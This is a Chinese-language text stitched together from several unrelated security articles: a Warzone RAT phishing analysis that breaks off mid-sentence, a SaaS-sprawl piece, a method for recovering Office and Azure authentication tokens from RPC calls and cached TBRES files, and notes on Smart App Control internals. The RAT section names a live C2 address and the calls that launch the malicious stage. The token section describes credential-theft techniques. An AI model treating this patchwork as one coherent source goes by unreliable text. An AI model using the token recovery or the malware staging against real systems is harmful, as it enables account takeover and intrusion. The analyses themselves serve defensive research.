當下階段,利用人性弱點進行投毒的事件層出不窮。針對員工高頻安裝的瀏覽器類、IM類、運維工具類、遠程控制類軟件,需做好軟件與對應簽名的映射驗證,並針對高危場景離群數據進行威脅狩獵。輔以外部/內生威脅情報,構建濾網機制,對啟動項軟件流水加以管控。實現啟動項快照機制,對未知/離群/高危/權限維持數據定時清理,在提升攻擊者成本的同時,也增加檢測/阻斷未知攻擊的可能。

FortiGuard實驗室最近發現了一封假裝來自匈牙利政府的電子郵件。它通知用戶,他們的政府門戶的新憑證已經附加。然而,附件是一個壓縮的可執行文件,在執行時,它將把Warzone RAT提取到內存中並運行它。在我們最初發現的幾天后,匈牙利國家網絡安全中心也發布了關於這次攻擊的警告。

受影響的平台:Microsoft Windows;

受影響方:Microsoft Windows用戶;

影響:為攻擊者提供遠程訪問;

嚴重級別:高;

感染載體最初的感染是通過模仿匈牙利政府門戶網站的仿冒電子郵件(圖1)發生的。該門戶用於在線開展公務,如提交文件、訂購ID等。

1.png

含有Warzone RAT惡意軟件附件的惡意郵件

電子郵件告訴受害者,他們的憑據已更改,並附上了新的憑據。完整的翻譯是:

2.png

從語言上看,這封郵件是由母語為英語的人寫的,然而這封郵件並沒有使用官方通信應有的語法。

附件是一個zip文件,其中包含一個偽裝為PDF的可執行文件。如上圖所示,該文件包含一個模仿Adobe PDF Reader圖標的圖。文件名以pdf結尾,但擴展名為.exe。然而,在默認的Windows安裝中,文件擴展名是隱藏的,它看起來像一個實際的PDF文件。用戶唯一的警告是文件資源管理器將文件類型顯示為“應用程序”,這意味著它是可執行文件而不是文檔。但這對普通用戶來說可能並不明顯。

3.png

偽裝成PDF的可執行文件

俄羅斯套娃式的混淆當我們開始分析“Uj bejelentkezEsi adatai马云惹不起马云pdf.exe”時,我們很快意識到它就像一個俄羅斯套娃混淆,但不是每次打開一個娃娃都會得到一個更小的娃娃,而是得到越來越多的混淆的.NET二進製文件,這就是我們將在本節中看到的。

“Uj bejelentkezEsi adatai马云惹不起马云pdf.exe”是一個32位的.NET可執行文件。一旦在dnspy(一個著名的.NET反編譯程序)中進行了反編譯,我們就會發現源代碼很簡單,同時也很容易混淆。代碼的一般結構如下圖所示。原始二進製文件可能在重命名為“Uj bejelentkezEsi adatai马云惹不起马云pdf.exe”之前被稱為iANO。

4.png

“Uj bejelentkezEsi adatai马云惹不起马云pdf.exe”的程序結構

代碼顯示了BattleShipLiteLibrary和一個計算器的混合體,這看起來像是桌面遊戲Battleship的實現。下圖顯示了實現計算器的實際代碼。

5.png

計算器的實現

有時它看起來像一個計算器,行為也像一個計算器,但它仍然不是一個真正計算器。在本例中,為計算器設置用戶界面的InitializeComponent()函數也會在最後調用PerformLayout()函數。然後該函數繼續調用ResourceTemplateDefine()函數。

6.png

從資源加載代碼

ResourceTemplateDefine()函數加載名為“Web”的資源。起初,它似乎將其解釋為位圖,但最後,它將其轉換為程序集。如果我們在十六進制編輯器中查看這個資源,我們會看到它有一個位圖標頭。但是當我們進一步觀察時,它還包括MZ字符,這是可移植可執行文件(PE)的神奇值。在底部,我們甚至可以看到臭名昭著的“此程序不能在DOS模式下運行”字符串,這是PE文件的另一個標誌。

7.png

檢查“Web”資源發現它隱藏了一個PE文件

該PE文件從資源中加載。下圖顯示了使用GetMethod()加載它的方法,並調用其中一個方法。另一個圖顯示了在調試器中調用的方法是' sk41Ua2AFu5PANMKit.abiJPmfBfTL6iLfmaW.Y5tFvU8EY() '。

8.png

從PE文件加載並調用特定的方法

9.png

顯示被調用方法名稱的調試器

KeyNormalize.dll“Web”資源中的PE文件的原始名稱是KeyNormalize.dll。從被調用函數的名稱中,我們已經可以預期它是混淆的。由於它是另一個.NET可執行文件,我們可以在dnspy中打開它並輕鬆檢測,並使用SmartAssembly確認它已被混淆。

10.png

使用SmartAssembly混淆器

De4Dot是一個去混淆器工具,在消除二進製文件的混淆方面很有效率。但是,它不能解析混淆的字符串。為此,我們編寫了一個可以解析字符串的定製程序。

在靜態分析KeyNormalize.dll之後,我們看到它從資源加載另一個二進製文件並執行函數調用,如前面所示。

11.png

從資源加載程序集並調用它的一個函數

我們可以恢復二進製文件,並再次使用調試器調用哪個函數。下圖顯示了變量'text6 '中的base64編碼數據,在解碼之後,我們看到它是另一個PE文件。這個PE文件也是一個.NET可執行文件,最初稱為Metall.dll。

12.png

變量' text6 '中的Base64編碼數據

13.png

' text6 '中的數據是另一個PE文件

在調試器中,我們還可以看到在這個新恢復的PE文件中調用了' OwbdG5aNVQQYu6X20i.o9pVsMvoTr75y5TrkE.V4j9c6YCwC() '函數。

Metall.dll在開始分析這個二進製文件之後,我的第一反應如下圖所示。

14.png

metal .dll為遊戲添加了另一層混淆

不用說,metal .dll通過向二進製文件添加控制流扁平化等特性,增加了混淆的程度。當我們談到混淆器時,我們說他們的目標是減緩逆向進程。這在某種程度上是有效的。然而,在本例中,我們可以簡單地採取一個快捷方式,讓二進製文件運行並將其最終有效載荷加載到內存中。這樣,我們可以將其轉儲到一個文件中,以便進一步分析。

WarzoneRAT最終由metal .dll加載到內存中的有效負載是Warzone遠程訪問木馬(RAT)的一個版本。這是一個眾所周知的惡意軟件操作作為惡意軟件服務(MaaS)。它在互聯網上是公開的,任何人都可以通過訂閱模式訪問它。當前的定價如下圖所示。

15.png

Warzone RAT的當前定價

它為其訂戶提供以下功能:

Native,independentstub

CookiesRecovery

RemoteDesktop

HiddenRemoteDesktop-HRDP

PrivilegeEscalation-UACBypass

RemoteWebCam

PasswordRecovery

FileManager

DownloadExecute

LiveKeylogger

OfflineKeylogger

RemoteShell

ProcessManager

ReverseProxy

AutomaticTasks

MassExecute

SmartUpdater

HRDPWANDirectConnection

Persistence

WindowsDefenderBypass

WarzoneRAT通常也被稱為“Ave_Maria Stealer”,因為下圖所示的字符串出現在二進製文件中。

16.png

Ave_Maria Stealer名稱來自於二進製文件中的這個誤導性字符串

嵌入到GitHub的鏈接沒有提供任何有用的東西,這可能只是誤導逆向的另一種方式。

Warzone根據Windows版本提供多種升級權限的方法。其中一個是在同一個二進製文件中實現的,另一個作為WM_DSP資源添加到二進製文件中。如果需要,這將在運行時加載並執行。

17.png

可以在資源中找到一個特權升級漏洞

為了躲避防病毒軟件,Warzone試圖將自己添加到Windows Defender的排除列表中,如下圖所示。

18.png

Warzone將自己添加到防病毒排除列表中

為了建立持久性,它還將自身複製到以下路徑:

C:\Users\Admin\Documents\ Adobe5151.exe

Warzone還使用與其指揮控制服務器的加密通信。過去,加密的密碼/密鑰是字符串' warzone160\x00 '。在此示例中,它已更改為字符串“nevergonnagiveyouup”。所以,受害者在不知不覺的情況下被人用人力推倒。

19.png

使用新密碼進行加密

通過動態分析,C2服務器的地址為171.22.30.72:5151。在我們的內部系統中查找這個IP和端口號,如下圖所示。從這張圖中我們可以看到,這場特別的攻擊活動早在2022年6月20日就開始了。

20.png

訪問地址171.22.30.72:5151

可以看出,攻擊者用一封寫得很好的虛假政府郵件作為誘餌,執行所附的惡意軟件。這種誘惑是經過深思熟慮的,因為它與匈牙利所有使用在線管理門戶的人都相關。

嵌入式.NET二進製文件的russian yoshka doll具有越來越複雜的混淆功能,支持攻擊者越來越依賴現代混淆技術的趨勢。這將導致逆向工程師不得不投入更多的時間來清除和分析惡意軟件。使用Warzone RAT作為最終有效載荷也支持了攻擊者對MaaS服務日益增長的依賴。我們在勒索軟件樣本中看到了類似的趨勢,勒索軟件即服務提供商越來越受歡迎。

如上所述,該活動的最後一個有效載荷Warzone RAT是通過一系列混淆的.NET二進製文件部署的。每個階段都從二進製文件中的某個位置加載下一個階段,對其進行解碼,將其加載到內存中,並調用一個函數將控制流傳遞給下一個階段。這樣的多階段加載程序可能會使動態分析變得困難,因為每次重新啟動惡意軟件樣本時,在不同的階段進行導航都會很困難。為了避免這個問題,我們從各個階段創建了獨立的可執行文件,以實現更高效的調試。這就是我們將在下面討論的。

下圖顯示了Warzone RAT在這一特定攻擊中的部署鏈。釣魚電子郵件包含一個zip文件。該zip文件包含下圖所示的二進製文件。

2.1.png

拆封過程

一旦上一步被執行,它就加載下一步,KeysNormalize.dll一個解壓縮到內存中的.NET動態鏈接庫(DLL)。它通過調用它的一個函數(sk41Ua2AFu5PANMKit.abiJPmfBfTL6iLfmaW.Y5tFvU8EY())來運行。這篇文章討論瞭如何使用調試恢復。一種方法是使用dnspy作為調試器從內存中轉儲KeysNormalize.dll。它被一種叫做SmartAssembly的混淆工具混淆了。

要了解第三階段是什麼(Metal.dll)並將其轉儲到文件中,我們需要能夠調試KeysNormalize.dll。但在此之前,我們還面臨以下挑戰:

我們如何獨立於最初解包並在內存中運行它的可執行文件運行KeysNormalize.dll ?

我們如何為KeysNormalize.dll創建一個環境,讓它可以釋放下一個階段,就像在原始惡意軟件中那樣?

方案1:獨立運行KeysNormalize.dll因為這不是一個.exe文件,我們不能直接雙擊它來運行。此外,原始的.exe文件調用來自KeysNormalize.dll的特定函數,因此我們還必須確保在運行該DLL時調用相同的函數。

有多種方法可以做到這一點。在這種情況下,對我有用的是用c#創建一個包裝器程序,我在其中導入keysnormize . DLL作為一個正常的DLL,並簡單地調用sk41Ua2AFu5PANMKit.abiJPmfBfTL6iLfmaW.Y5tFvU8EY()函數。如果你是一個.NET/C#開發人員,這是非常容易的,而我不是,但如果你不經常這樣做,這可能會很有挑戰性。

設置Visual Studio首先,讓我們啟動Visual Studio並創建一個新的C#控制台應用程序(.NET Framework)項目,然後選擇.NET 4.7.2版本。我們可以調用這個項目dll_wrapper。默認情況下,它加載一個空類。但我們可以將其更改為下圖所示的代碼。

2.2.png

等待擊鍵的基本程序

此代碼將無限期等待按鍵,然後不執行任何操作。將此添加到代碼中的原因是我們無法在調試器中提前添加斷點。這樣,我們可以在程序等待按鍵時中斷執行,然後在需要時添加斷點。

導入KeysNormalize.dll下一步是在項目中包含KeysNormalize.dll。首先,我們將DLL複製到項目文件夾中。

2.3.png

將KeysNormalize.dll複製到項目文件夾中

我們還需要添加對KeysNormalize.dll的引用,這可以在Project-Add Project Reference-Browse-Choose the KeysNormalize.dll下完成。 KeysNormalize現在應該出現在SolutionExplorer的References下,如下圖所示。

2.4.png

將對DLL的引用添加到項目中

現在我們應該可以開始在項目中使用KeysNormalize.dll了。我們需要調用以下函數(我們從對原始二進製文件的分析中了解到這一點,這裡不討論):

sk41Ua2AFu5PANMKit.abiJPmfBfTL6iLfmaW.Y5tFvU8EY('4F515364','746771','BattleshipLiteLibrary');

為此,我們首先需要導入sk41Ua2AFu5PANMKit,這是Program.cs中KeysNormalize中的命名空間。接下來,我們將上面的函數調用添加到按鍵循環之後的代碼中,如下圖所示。

2.5.png

導入庫並調用目標函數

如果運行此程序,則表示正在執行惡意負載,因此只能在隔離的安全系統上運行。

我們現在可以構建一個x86版本的二進製文件。如果我們運行該程序,無論是在Visual Studio中還是單獨運行,它都會崩潰並拋出異常,如下圖所示。

2.6.png

未找到資源,導致異常

從錯誤消息中,我們看到沒有找到BattleshipLiteLibrary.Properties.Resources.resources。該資源存在於第一階段二進製文件“Uj bejelentkezEsi adatai马云惹不起马云pdf.exe”或“iANO”中。

2.7.png

iANO二進製文件中的資源

這很有趣,因為這意味著儘管KeysNormalize是一個獨立的DLL,但它不能單獨工作。

方案2:創建BattleshipLiteLibrary.Properties.Resources.resources為了克服資源問題,我們需要滿足KeysNormalize.dll的需求,並創建一個名為BattleshipLiteLibrary.Properties.Resources.resources的資源。這並不像看上去那麼簡單。資源名的構建方式如下:

微信截图_20221117135528.png

由於全球大流行帶來的諸多限制,全球企業迅速爭相採用遠程工作解決方案。這種突然的變化不僅改變了企業的日常運營方式,也改變了它們使用工具的方式。該解決方案的一部分包括轉向軟件即服務(Software as a Service,SaaS),以獲得針對不同業務需求的更靈活的選項。

如今,SaaS已經成為應用程序交付方面的標準,因為它可以提供多種好處,包括減少廠商鎖定,更快的價值實現時間,增強的可訪問性、生產力和可擴展性等。

然而,隨著越來越多的公司爭先恐後地採用這種解決方案,管理它的挑戰也在不斷加劇。這就是所謂的SaaS蔓延(SaaS sprawl)。

何為SaaS蔓延(SaaS sprawl)?當網絡上使用的許多第三方雲應用程序無法再由其管理人員有效管理時,就會出現SaaS蔓延。當多個團隊和個人用戶下載應用程序以滿足即時需求時,通常會出現這種現象。這種做法沒有得到公司IT部門的事先批准,可能會導致安全風險。不受監控地使用雲應用程序有可能破壞組織的業務工作流效率。

SaaS蔓延對企業的影響安全與威脅根據最近的一項調查結果顯示,高達75%的IT領導者表示,SaaS蔓延的最大擔憂是安全方面。眾所周知,SaaS應用程序傾向於存儲大量機密數據、客戶財務信息、記錄等。保護這些文件不被損壞或從其他隱藏來源被竊取是非常必要的。因此,請確保您採取了所有的預防措施來保護您的數據,以免為時過晚。

成本與財務負擔有時,員工甚至會在沒有預先檢查公司現有SaaS堆棧的情況下購買SaaS應用程序,這導致了兩個主要問題:一是給定公司中SaaS應用程序數量的增加,二是該公司SaaS的總體支出增加。這給財務部門的預算預測和成本估算帶來了困難。因此,有時很難管理SaaS支出,而且公司經常直到有人發現了這種過度支出的趨勢,才意識到他們在SaaS應用程序上花費了太多資金。

合規危機對於一家公司來說,遵守管理法規以避免任何法律麻煩是非常必要的,這可能包括GDPR、SOC 2或FISMA等,這些法規都要求組織根據其提供的服務類型來保護客戶的敏感和私人信息。而當一家公司無法滿足任何這些要求時,它就會面臨嚴重的商業聲譽受損、訴訟以及其他更多無法挽回的後果。當公司失去對其SaaS堆棧的控制時,如果監控不當,可能會導致數據暴露和各種其他問題。因此,要小心保護您的客戶與您共享的信息。

數據分發與管理困難由於信息在不同應用程序中的分散分佈,SaaS蔓延誘發了數據蔓延的問題。當這種情況發生時,查找所有數據駐留的位置、誰可以訪問數據以及數據的暴露程度就變得非常麻煩。假設你是一名消費者,你發現Dropbox可以更方便地共享和存儲文件,即使你的公司使用的是谷歌Drive。現在,即使你擁有谷歌Drive的全部訪問權限,你也會使用Dropbox存儲和共享數據,而Dropbox很明顯已經超出了IT部門的權限。因此,即使您後來離開公司,數據也可能永遠留在Dropbox中,沒有恢復的機會。即使這看起來是一個微不足道的小問題,但如果沒有及時衡量和糾正,它確實會產生重大影響。

操作錯誤越來越多的應用程序的出現和使用無疑會在員工和IT部門之間造成混亂,此外,它還會導致延遲、效率低下,並以負面的方式影響員工的整體體驗。而當員工受到影響時,他們的生產力以及與不同部門之間的協作也會由此受到影響。因此,建議定期盤點您的組織中跨不同部門使用的所有SaaS應用程序。注意哪些員工在使用這些工具,他們在這些工具上花費了多少時間,以及所有這些必要的細節。

克服和防止SaaS蔓延的方法隨著SaaS解決方案在許多不同行業中變得越來越普遍,了解如何維護其管理至關重要。以下是克服和防止SaaS蔓延的幾種方法。

1.發現所有正在使用的SaaS應用程序創建一個不同項目團隊和跨部門的個人用戶當前正在使用的所有應用程序的清單。這樣做可以清楚地了解您的目錄規模,以及哪些應用程序得到了IT部門的批准。使用軟件資產管理工具也可以幫助您創建全面的審計。

2.跟踪和評估應用的成本和使用情況確定每個應用在整個網絡中的使用成本。通過這一點,您可以確定哪些應用能很好地利用預算,哪些沒有。一些企業可能會發現,在應用程序很少使用的地方,他們需要支付額外的許可。相反的情況也可能發生。

3.使用軟件許可管理(SLM)當同時使用多個第三方雲應用程序時,手動管理所有相關數據和安全檢查可能會非常繁瑣和繁重。但是,通過使用軟件許可證管理工具,您可以有效地、更好地控制您的網絡。

4.使您的IT團隊易於訪問並具有協作性組織的不同部門都有自己運行公司工作流的方式。為了有效地管理所有SaaS應用程序,所有團隊都應該更加協作,並努力了解彼此的需求。這包括創造一個更友好的環境,鼓勵員工在需要的時候與他們的IT部門聯繫。

5. 自動化所有更新和工作流程當使用多個SaaS應用程序時,跟踪各種許可證的每個更新周期可能是一項艱鉅的任務。然而,使用軟件管理工具可以在需要時通過自動化流程來簡化此任務。

6. 標準化所有正在使用的應用程序確定每個部門的不同需求,並創建一個最能滿足這些需求的SaaS應用程序列表。一旦建立,設置一個強制性的規則,這些應用程序只能用於特定的任務,而不能用於其他任何事情。這將有助於避免可能導致安全風險的重複應用程序問題。

7. 規劃SaaS採購流程規劃一個SaaS採購過程,其中只有授權的部門或人員可以授予使用應用程序的訪問權。這將使您更好地了解您的SaaS足跡如何移動,從而更容易跟踪和管理。

8. 利用員工培訓培訓員工如何正確使用每個SaaS應用程序以及它們的局限性。這將使他們更好地了解每個工具和使用未經授權的應用程序的風險。

在這篇文章中,我將介紹我在逆轉Office的身份驗證機制時發現的兩個問題,並提供一些不需要刪除內存的POC工具來幫助恢復存儲的令牌。

微軟賬戶服務我必須承認,當我第一次開始研究這個問題時,刪除我正在運行的Word進程的內存並沒有發現文檔簽名eyJ0eX。這是當前工具用來識別活動令牌的主要方法,我在Windows登錄時使用Microsoft 365帳戶。

事實證明,Microsoft Account (MSA)的身份驗證令牌處理方式與通常的Azure AD SSO帳戶不同。

讓我們從查看經過MSA驗證的Office會話開始,啟動Microsoft Office並查看加載的DLL。其中最突出的是MicrosoftAccountWAMExtension.dll。將這個DLL加載到Ghidra中,我們可以開始尋找為MSA帳戶生成身份驗證令牌的原因。

如果我們在這個DLL中尋找RPC調用,就可以看到一堆被定向到名為wlidsvc的服務:

1.png

不幸的是,微軟並沒有為RPC調用此服務提供IDL(或者根本沒有提供很多信息),所以我們將不得不做一些逆向工程來解決這個問題。

讓我們將WinDBG附加到wlidsc並監視正在進行的RPC調用。在任何Office進程中進行身份驗證之後,我們看到第一個調用是RPC方法WLIDCCreateContext以創建上下文,然後是WLIDCAcquireTokensWithNGC,最後是一系列其他調用,我們將暫時忽略這些調用。

如果我們在後一種方法中添加一個斷點,那登錄到Office中的MSA帳戶會導致命中:

2.png

步進式(Stepping )直到我們點擊ret並檢查填充的參數,在參數12的內存區域中會顯示一些有趣的東西。

3.png

對我來說,這確實是一個像徵!如果我們打開像Fiddler這樣的代理,我們會看到它與Office訪問web服務時使用的身份驗證令牌格式相匹配:

4.png

那麼,我們如何從我們自己的工具中調用它呢?讓我們使用James Forshaw的NtObjectManager生成一個可以使用的存根。

5.png

生成的RPC存根根據Windows版本的不同而不同,這是毫無價值的,例如,在Windows 10中,我們發現字段計數在輸入結構上發生了變化,因此,如果你收到可怕的(0x800706F7) - The stub received bad data.錯誤,請多家留意。

使用RPC客戶端存根創建一個快速的C#應用程序,我們將重播我們之前觀察到的入站RPC調用,並添加參數,這將給我們提供如下內容:

6.png

如果我們稱之為:

7.png

由於這是MSA身份驗證請求,我們將不得不使用Substrate等服務來訪問Microsoft 365服務。旋轉一個代理並在Office中導航是確定調用什麼以及這些web服務採用什麼參數的最佳方式。但你可以看到,passport令牌返回後,我們可以很好地進行身份驗證和交互:

8.png

令牌緩存現在我們已經了解瞭如何恢復MSA,那麼Azure AD呢?通過Lee Christensen的帖子知道,我們可以很容易地按需請求新令牌,但是我們在Office進程中看到的緩存令牌被轉儲了,它們是如何在啟動時加載的呢?

讓我們提供一個新的主機並將我們的用戶帳戶與AzureAD相關聯,然後登錄到Office,再嘗試找出令牌存儲的位置。

9.png

為了確保我們在正確的軌道上,讓我們從內存中轉儲一些字符串,並確保eyJ0eX簽名存在。

10.png

我們再次深入搜索dll,但這次我們將重點關注Windows.Security.Authentication.Web.Core.dll。

這是一個WinRT庫,因此我們需要深入Ghidra了解正在發生的事情。

AddWebTokenResponseToCache方法如下:

11.png

如果我們進一步研究,會發現此方法實際上負責將憑據緩存到序列化文件,這些文件可以在%LOCALAPPDATA%\Microsoft\TokenBroker\Cache中找到。

12.png

好的,讓我們看看這些TBRES文件:

13.png

如果我們使用ProcMon,我們會看到這些文件確實在進程啟動時被Office訪問:

14.png

可以看到,這就是我們的身份驗證信息存儲的地方!查看JSON會發現一個IsProtected字段。在WinDBG中,我們將附加到Office,在CryptUnprotectData上添加斷點並重新啟動。果然,我們發現base64解密數據的內容被解密了。

15.png

JSON文件中我們特別感興趣的字段是ResponseBytes,我添加了一個帶有快速工具的repo,該工具可以解密這些文件,可以在這裡找到。

在使用ProtectedData.Unprotect解密此數據後,我們看到了明文JWT。果然,解密它們會得到我們之前從內存中看到的相同信息:

16.png

來自不同提供者和應用程序的其他令牌也存儲在這些文件中,包括MSA令牌,這也是毫無價值的。

現在我們知道了,Windows和Office用於Live和Azure的認證和緩存會話的幾種不同方法。

POC可以在https://github.com/xpn/WAMBam上找到。

下面的偽代碼或多或少地展示了SmartLocker非繼承屬性的最後一部分是如何工作的。

12.png

注意: 根據稍後如何使用此函數中的值來填充TraceLogging字符串,我們知道防禦措施將評估過程的所有這一部分視為: Is防禦措施Shell。

這或多或少就是我們通過在調用之後立即雙擊從資源管理器啟動的進程所需要的:

13.png

CipCheckSmartlockerEAandProcessToken的情況就這樣了,現在再說說CipExternalAuthorizationCallback。

現在,讓我們說說Intelligent Security Graph所使用的代碼段,它現在已被擴展以添加一些SAC功能。首先,將再次檢查策略選項Intelligent Security Graph Authorization(智能安全圖授權),如果未設置,函數將使用從CipCheckSmartlockerEAandProcessToken獲取的值退出。如果該值在策略中處於活動狀態(SAC策略就是這種情況),該函數將使用前面討論的IsTrustedSigning來確定它是否應該繼續。如果映像可信,將執行以下檢查:

如果ValidatedSigningLevel等於“由使用AMPPL(7)的產品的AV簽名”,並且策略的值為VerifiedAndReputableAllowAntiMalware,則分數將用值AllowAnti Malware(0x100000)進行異或運算,函數將返回。

如果映像不可信,則函數將繼續查詢防禦措施。如上所述,向防禦措施發出查詢的函數是CiCatDbSmartlockerDefenderCheck。此函數將接收兩個MPFILE_TRUST_EXTRA_INFO結構,一個填充請求數據,另一個接收回複數據。代碼還將從FileObject傳遞FileName。 MPFILE_TRUST_EXTRA_INFO結構如下所示。

14.png

雙方之間的通信是使用RPC實現的,CI.dll將實現客戶端,服務器將在cryptcatsvc.dll中實現。為了記錄,RPC存根的IID是f50aac00-c7f3-428e-a022a6b71bfb9d43。

cryptcatsvc在服務CryptSvc中運行。在用於RPC服務器的發送函數中,我們重點關注以下函數:

s_SSCatDBSmartlockerDefenderCheck(Alreadypresentin22H1);s_SSCatDBSmartlockerDefenderCheck2(Newto22H2);s_SSCatDBSendSmartAppControlBlockToast;s_SSCatDBSendSmartAppControlSwitchEnforceToast;SmartLockerDefenderCheck函數的v1和v2之間的最大區別在於,在v2中,該函數接受請求和回复MPFILE_TRUST_EXTRA_INFO作為其參數的一部分。這兩個函數最終都調用了助手函數CatDBSmartlockerDefenderCheckHelper。

CI將從這些函數調用s_SSCatDBSmartlockerDefenderCheck2,它將首先加載MpClient.dll。

注意:在第一次執行時,將在防禦措施配置中啟用SmartLocker。該函數將調用MpClient導出的函數MpSmartLockerEnable。此函數只需註冊Defender ELAM證書信息(打開Wdboot.sys的句柄並調用InstallELAMCertificateInfo),然後使用RPC從MpSvc.dll調用方法ServerMpEnableSmartLocker,它將檢查防禦措施配置中是否設置了SmartLockerMode,如果沒有,它將寫入。

打開庫的句柄後,該函數將使用CI.dll提供的文件名來打開一個文件句柄,該句柄將被傳遞給MpClient導出的函數MpQueryFileTrustByHandle2,該函數只在來自於DefenderCheck2時被調用,如果是舊版本的DefenderCheck,則將調用MpQueryFileTrustByHandle。

在MpQueryFileTrustByHandle2內部,代碼將使用該文件的句柄來創建文件映射,該文件映射將被防禦程序用於對其進行內存掃描。下面的InSequence函數將通過從MpClient(客戶端)到MpSvc(服務器)發出RPC調用來執行。顯然,我們剛才看到的所有函數調用都接受CI.dll設置的MPFILE_TRUST_EXTRA_INFO作為參數的一部分。

ServerMpRpcMemoryScanStart:設置CMpMemScanContext和CMpMemScanEngineVfz(使用GetAttributeTrustCheck作為GetAttributions函數),並進行異步掃描;

ServerMpRpcMemoryScanQueryNotification:檢索掃描信息;

ServerMpRpcMemoryScanClose:關閉並清除CMpMemScanContext。

這些函數的內部結構不在本文所講的範圍,我想強調的是,當啟用SAC時,防禦措施將主動掃描文件並進行雲查詢。

從掃描檢索到的信息中有三個可能的信號:

0x31001:檢索到的MPTRUST_INFO(IGS);

0x31002:檢索到的MPFILE_TRUST_EXTRA_INFO(SAC);

0x4005:與RSIG_VIRINFO相關;

最後完成防禦措施通信,下圖顯示了代碼到達防禦措施時客戶端(CI)和服務器(cryptcatsvc)堆棧。

15.png

需要注意的是,如果我們的SAC處於強制狀態,並且設備中沒有互聯網連接,則默認操作是阻止該進程,並且將顯示一條通知,提示“智能應用程序控制無法驗證此應用程序,請檢查您的互聯網連接,然後重試”。

返回外部授權回調,如果RPC調用失敗,則未設置策略設置VerifiedAndReputableAllowUnknown,並且ValidateSigningLevel不是以下任何一項:

MicrosoftStoresignedappPPL(ProtectedProcessLight)MicrosoftStore-signedMicrosoftsignedWindowssignedOnlyusedforsigningofthe.NETNGENcompilerWindowsTrustedComputingBasesigned然後將驗證分數與值Unattainable(0x40000)進行異或運算,函數將返回。如果RPC調用成功,則將調用函數CiHandleDefenderSignals。顧名思義,此函數將處理防禦措施發送回的消息。它將遍歷返回的元素數,其中每個元素的類型為MPFILE_TRUST_EXTRA_INFO。根據ReplyType字段,它將執行不同的操作。更有趣的兩種情況是:首先,當返回信任結果時。在該示例中,信息將指向MP_INFO_RESULT,其中的值將復製到驗證上下文:

16.png

第二個有趣的示例是信息指向MP_NW_CONTROL枚舉。在該示例中,根據控制命令,該功能將被禁用或切換到強制模式。這基本上將更新VerifiedAndReputablePolicyState RegKey,並更新WorkItem中的策略。

17.png

在我們從學習模式更改為強制模式的情況下,將發出對函數s_SSCatDBSendSmartAppControlSwitchEnforceToast的RPC調用。在此函數中,DLL wldap . DLL將被加載,然後調用函數WldpSendSmartAppControlSwitchEnforceToast。

從信號處理程序回來後,有一些細微差別。如果NW控制命令設置了標誌IsUnfriendlyFile,則Score將更新為值UnfriendalyFile(0x80000),函數將返回。如果未設置標誌,則TrustInfo和FileObject將被傳遞到帶有標誌0x82的函數CipSetFileCache中,這意味著EA$Kernel.Purge.CIpCache將用於存儲此信息。

最後,需要根據防禦程序返回的信任調整分數,有5個選項:

Trust==1:分數將使用值0x202進行異或運算,不過我對這個值不太了解;

Trust==-1 (0xFFFFFFFF):如果策略設置VerifiedAndReputableAllowUnknown被設置,則分數將使用值AllowUnderknown(0x20000)進行異或運算;

Trust==-2 (0xFFFFFFFE):分數將使用值Malicious (0x80)進行異或運算;

Trust==-3 (0xFFFFFFFD):分數將用PUA(0x100)值進行異或運算;

任何其他情況下,分數將用值0x42進行異或運算。

這幾乎就是外部授權回調的全部內容,現在我們回到調用外部授權回調時的SIPolicyValidateImageInternal!

SIPolicyValidateImageInternal在進入外部授權回調之前,我們將討論SIPolicyObjectValidationEngine函數如何遍歷策略並調用內部SIPolicy ValidateImageInternal,後者稍後將調用外部auth回調。現在,調用回調後,我們返回到SIPolicyValidateImageInternal,並返回驗證分數。如果啟用了SAC,則該函數將繼續評估分數,並將此分數傳播到驗證引擎分數,並根據該得分設置相應的NTSTATUS。

18.png

如上圖所示,在大多數分支中,它會將相應的NTSTATUS設置為驗證狀態,然後跳轉到我所稱為ProcessDbgAndReprieve的狀態。這只不過是一種檢查內核調試器是否附加到調試器控制台中以記錄策略衝突的方法。

19.png

如果未遵循前一個映像中的任何分支,或者分數為Unattainable但設置了AllowUnknown,則函數將繼續根據策略規範評估對象。首先檢查文件規範,這將在函數SIPolicyMatchFileRules內完成。此函數將接收以下參數:

具有要評估的文件規範的策略;

OriginalFileName;InternalName;FileDescription;ProductName;我強烈建議閱讀MSDN的“理解Windows防禦應用程序控制(WDAC)策略規範和文件規範”一節,以了解更多關於策略規範和可用於它們的不同選項的內容。

與我們在第1部分中看到的Policy Secure Settings類似,該函數將使用作為key傳遞到函數bsearch的數據建立一個結構。關鍵結構具有以下原型:

20.png

bsearch函數的base和num將取自SI_POLICY結構。將策略解析為SI_policy結構時,將設置一個包含兩個場景的數組。每個場景都包含其特定的文件規範、允許的簽名者、拒絕的簽名者和異常規範。如上所述,當調用SIPolicyMatchFileRules時,要評估的場景的特定數量被傳遞給函數。此數字將用作函數的索引,以了解要選取Scenarios數組的哪個元素。每個場景都由以下結構表示:

21.png

如果沒有FileName級別的文件規範匹配,則函數將繼續計算哈希級別的文件規範:

22.png

如果FileName或Hash匹配,則SIPolicyMatchFileRules返回TRUE,驗證狀態將設置為status_SYSTEM_INTEGRITY_POLICY_VIOLATION。

如果對SAC策略使用的哈希和文件名感興趣,可以查看策略的FileRule標籤下的整個列表。

如果沒有匹配的文件規範,則下一步(如果映像已簽名)是根據“拒絕”和“允許”簽名者驗證簽名鏈信息。首先,將檢查被拒絕的簽名者。如果與前面相同的規範在此匹配,該函數將把驗證狀態設置為status_system_integrity_policy_violate。如果沒有拒絕簽名者規範匹配,代碼將繼續檢查允許的簽名者規範。在該示例中,如果存在匹配,則會清除以前的任何狀態/分數。根據策略簽名驗證映像簽名的過程主要在函數SIPolicyValidateChainAgainstSigner中完成。此函數將作為第一個參數接收映像的SI_CHAIN_INFO,並在@r8中接收POLICY_SIGNERS_DATA。

關於這個POLICY_SIGNERS_DATA結構,基本上SI_POLICY結構保留一個POLICY-SIGNERS_DATA數組。這些代表兩種方案的所有Allow和Deny簽名。代碼知道哪些規範適用於哪個場景的方式,這意味著要使用POLICY_SIGNERS_DATA數組的哪個索引是非常聰明的。這是我之前在文件規範中沒有解釋的事情,所以現在是檢查它的好時機。如果你返回並檢查SI_POLICY_SCENARIO結構,將看到對於每個規範類型結構(file, Allow, Deny),都有一個SI_RULES結構,其中包含一個我稱為IndexArray的字段。基本上,這是一個索引數組,用於指示該特定場景和規則必須使用包含數據的數組中的哪個索引。讓我們看一個快速的偽代碼片段,以便更好地理解這一點。

23.png

這可能不是百分之百準確的,因為我省略了很多在中間進行的檢查。

